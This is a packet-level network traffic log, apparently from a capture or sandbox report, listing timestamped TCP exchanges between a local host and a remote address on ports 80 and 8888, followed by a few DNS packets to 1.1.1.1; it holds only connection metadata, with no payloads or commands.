Jan 11, 2025 06:30:37.226058960 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.226069927 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.226082087 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.226088047 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.226119995 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.226135015 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.226145983 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.226157904 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.226176977 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.226228952 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.226242065 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.226253033 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.226264000 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.226267099 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.226275921 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.226283073 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.226289988 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.226309061 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.226368904 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.226381063 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.226392031 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.226401091 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.226418018 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.226422071 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.226434946 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.226445913 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.226457119 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.226475000 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.226499081 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.226639032 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.226650953 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.226658106 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.226663113 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.226669073 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.226675034 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.226686001 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.226702929 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.226711035 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.226716995 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.226728916 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.226737022 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.226741076 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.226758003 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.226799011 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.226810932 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.226821899 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.226833105 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.226834059 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.226855040 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.226986885 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.226998091 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.227009058 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.227018118 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.227024078 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.227036953 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.227036953 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.227050066 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.227061987 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.227080107 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.227086067 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.227103949 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.227103949 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.227118015 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.227130890 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.227134943 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.227144957 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.227202892 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.227224112 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.227236032 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.227247000 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.227252960 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.227257967 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.227277994 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.227289915 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.227308035 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.227324009 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.227334023 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.227344990 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.227359056 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.227364063 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.227371931 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.227390051 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.227392912 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.227405071 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.227416992 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.227423906 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.227428913 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.227442026 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.227447987 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.227453947 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.227467060 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.227475882 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.227493048 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.235928059 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.235945940 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.235960960 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.235975027 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.236000061 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.236032009 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.252320051 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.252341032 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.252360106 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.252371073 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.252382040 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.252401114 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.252413988 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.252423048 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.252437115 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.252449036 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.252485991 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.252495050 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.252506018 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.252532959 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.252542973 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.252543926 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.252556086 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.252588987 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.252599001 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.252626896 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.252635956 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.252651930 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.252664089 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.252675056 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.252687931 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.252713919 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.289616108 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.289639950 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.289652109 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.289670944 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.289684057 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.289694071 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.289705992 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.289716959 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.289729118 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.289727926 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.289819002 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.289825916 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.289832115 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.289844036 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.289854050 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.289865017 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.289869070 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.289876938 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.289890051 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.289911985 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.289933920 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.316292048 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.316323996 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.316337109 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.316354990 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.316369057 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.316380978 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.316392899 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.316405058 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.316415071 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.316420078 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.316432953 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.316446066 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.316457987 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.316471100 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.316482067 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.316499949 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.316518068 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.316530943 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.316530943 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.316544056 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.316555977 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.316560984 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.316567898 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.316579103 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.316580057 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.316603899 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.316606045 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.316618919 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.316629887 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.316641092 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.316648960 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.316653967 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.316673040 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.316673040 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.316684961 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.316696882 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.316704035 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.316709995 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.316723108 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.316740036 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.316747904 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.316751957 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.316765070 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.316781998 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.316802979 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.316822052 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.316833973 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.316845894 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.316874027 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.316878080 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.316890001 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.316901922 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.316920996 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.316935062 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.316957951 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.316970110 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.316981077 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.317001104 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.317045927 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.317063093 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.317075014 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.317080021 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.317086935 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.317101002 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.317111015 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.317126036 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.317131042 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.317138910 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.317182064 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.317236900 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.317249060 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.317260027 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.317270994 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.317276001 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.317284107 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.317296982 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.317303896 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.317332983 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.317430973 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.317444086 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.317455053 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.317466021 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.317476988 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.317482948 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.317502975 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.317588091 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.317599058 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.317610025 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.317620993 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.317622900 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.317636967 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.317646980 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.317656040 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.317660093 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.317682981 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.317703009 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.317713976 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.317725897 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.317737103 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.317748070 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.317759037 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.317761898 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.317770958 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.317783117 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.317783117 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.317796946 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.317816019 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.317836046 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.317845106 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.317857027 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.317867994 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.317883968 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.317888975 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.317897081 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.317924976 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.360989094 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.464596033 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.470206976 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.470222950 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.470237970 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.470254898 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.470266104 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.470278025 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.470288992 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.470303059 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.470324993 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.470341921 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.470352888 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.470364094 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.470371962 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.470375061 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.470386028 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.470397949 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.470408916 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.470416069 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.470422983 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.470433950 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.470434904 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.470446110 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.470457077 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.470459938 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.470468998 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.470479012 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.470484018 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.470489979 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.470501900 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.470504999 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.470514059 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.470525026 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.470535994 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.470546961 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.470546961 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.470561028 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.470571041 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.470571041 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.470582962 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.470593929 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.470602036 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.470611095 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.470613003 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.470619917 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.470629930 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.470639944 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.470640898 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.470653057 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.470664024 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.470669985 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.470674038 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.470685959 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.470695019 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.470698118 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.470710039 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.470721006 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.470731020 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.470736980 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.470765114 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.470779896 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.757081032 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.923603058 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:38.418292999 CET	49768	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:38.423114061 CET	8888	49768	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:38.423269033 CET	49768	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:38.423435926 CET	49768	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:38.428174019 CET	8888	49768	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:39.237479925 CET	8888	49768	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:39.282809019 CET	49768	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:39.759063959 CET	49768	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 06:31:53.662636995 CET	64604	53	192.168.2.9	1.1.1.1
Jan 11, 2025 06:31:53.667556047 CET	53	64604	1.1.1.1	192.168.2.9
Jan 11, 2025 06:31:53.667658091 CET	64604	53	192.168.2.9	1.1.1.1
Jan 11, 2025 06:31:53.667702913 CET	64604	53	192.168.2.9	1.1.1.1
Jan 11, 2025 06:31:53.672543049 CET	53	64604	1.1.1.1	192.168.2.9
Jan 11, 2025 06:31:54.132065058 CET	53	64604	1.1.1.1	192.168.2.9
Jan 11, 2025 06:31:54.137415886 CET	64604	53	192.168.2.9	1.1.1.1
